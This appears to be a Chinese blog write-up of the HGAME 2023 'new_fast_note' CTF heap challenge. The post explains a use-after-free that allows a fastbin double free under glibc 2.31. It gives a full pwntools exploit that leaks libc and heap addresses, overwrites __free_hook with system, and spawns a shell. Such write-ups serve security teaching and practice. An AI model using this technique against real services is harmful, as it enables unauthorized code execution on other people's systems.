HGAME 2023 new_fast_note

在这里插入图片描述
普通菜单堆题
在这里插入图片描述
free函数下存在uaf
因为无编辑功能,所以无法绕过被释放堆块的key字段,要达成doublefree可以将申请多个堆块释放到fastbin上面构造成A->B->A完成利用
在这里插入图片描述
成功doublefree
接下来就很简单了2.31 几个常用hook还在还可以利用
解题脚本

from pwn import *

context.arch = 'amd64'

def gd():
 gdb.attach(p)
 pause()
def add(idx,size,data):
 p.recvuntil(b'>')
 p.sendline(b'1')
 p.recvuntil(b'Index: ')
 p.sendline(str(idx).encode())
 p.recvuntil(b'Size: ')
 p.sendline(str(size).encode())
 p.recvuntil(b'Content: ')
 p.send(data)
def free(idx):
 p.recvuntil(b'>')
 p.sendline(b'2')
 p.recvuntil(b'Index: ')
 p.sendline(str(idx).encode())
def show(idx):
 p.recvuntil(b'>')
 p.sendline(b'3')
 p.recvuntil(b'Index: ')
 p.sendline(str(idx).encode())
p = process("./pwn") 
#p = remote('node5.anna.nssctf.cn',28438)
libc = ELF("./libc-2.31.so")
for i in range(9):
 add(i,0x80,b'1')
for i in range(8):
 free(i)
show(7) 
libc_base = u64(p.recv(6).ljust(8,b'\x00')) - 0x1ecb80 - 96
print(hex(libc_base))
add(0,0x20,b'aaaaaaaa') 
add(1,0x20,b'aaaaaaaa') 
free(0)
free(1)
show(1)
heap_base = u64(p.recv(6).ljust(8,b'\x00')) - 0x3f0
print(hex(heap_base))
for i in range(2,11):
 add(i,0x20,b'a' * 0x10)
for i in range(2,11):
 free(i)
free(9) 

for i in range(7):
 add(0,0x20,b'a')
free_hook = libc_base + libc.sym['__free_hook']
sys_addr = libc_base + libc.sym['system'] 
add(1,0x20,p64(free_hook))
add(2,0x20,p64(sys_addr)) 
add(2,0x20,p64(sys_addr))
add(2,0x20,p64(sys_addr))
add(3,0x40,b'/bin/sh\x00')
free(3)

#gd()

p.interactive()
 

成功getshell
在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值